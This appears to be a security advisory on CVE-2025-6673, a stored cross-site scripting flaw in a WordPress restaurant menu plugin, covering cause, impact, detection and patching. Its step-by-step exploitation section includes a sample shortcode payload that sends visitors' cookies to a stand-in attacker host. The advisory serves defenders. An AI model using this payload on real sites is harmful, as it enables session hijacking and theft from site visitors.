CVE-2025-6673: 
WordPress vulnerability analysis and mitigation

CVE-2025-6673 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Restaurant Menu Manager plugin for WordPress. It affects all versions up to and including 2.0.1, and was published on July 4, 2025. The flaw allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the nsc_eprm_menu_link shortcode, which then execute in the browsers of users visiting affected pages. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is insufficient input sanitization and output escaping on user-supplied attributes passed to the nsc_eprm_menu_link shortcode, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). An authenticated attacker with at least contributor-level WordPress access can embed a malicious shortcode containing JavaScript into a post or page; the script is stored server-side and executes in any visitor's browser when the page is loaded. The vulnerable code path has been identified in the plugin's admin class file (WordPress Trac), and a patch changeset is available (WordPress Trac Changeset).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who visits a page containing the injected shortcode, potentially leading to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Because the scope is changed (S:C in the CVSS vector), the impact extends beyond the plugin itself to the broader WordPress site and its visitors. Confidentiality and integrity are both rated Low, with no direct availability impact (Red Hat CVE, Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-6673 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Easy Restaurant Menu Manager plugin version 2.0.1 or earlier, using tools like WPScan or manual inspection of plugin directories.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create a new post or page and insert a malicious nsc_eprm_menu_link shortcode with an unsanitized attribute containing a JavaScript payload, e.g., [nsc_eprm_menu_link attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit content: Save or submit the post/page so the malicious shortcode is stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing nsc_eprm_menu_link shortcodes with suspicious attribute values (e.g., <script>, javascript:, encoded payloads).
• Database: WordPress wp_posts table entries containing nsc_eprm_menu_link shortcodes with embedded JavaScript or HTML event handlers in post content.
• Network: Outbound requests from site visitors' browsers to unexpected external domains shortly after loading pages containing the plugin's shortcode (indicative of data exfiltration).
• File System: Unexpected modifications to plugin files in wp-content/plugins/easy-pdf-restaurant-menu-upload/ that may indicate further post-exploitation tampering.

Site administrators should update the Easy Restaurant Menu Manager plugin to a version beyond 2.0.1 that includes the patch introduced in changeset 3318491. If an immediate update is not possible, restrict contributor-level and above user registrations, or disable the plugin until a patched version is applied. Review existing posts and pages for any suspicious nsc_eprm_menu_link shortcode usage containing script tags or encoded payloads (WordPress Trac Changeset, Wordfence).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability report for the period of June 30 – July 6, 2025, noting it as a medium-severity stored XSS issue (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the standard disclosure has been identified.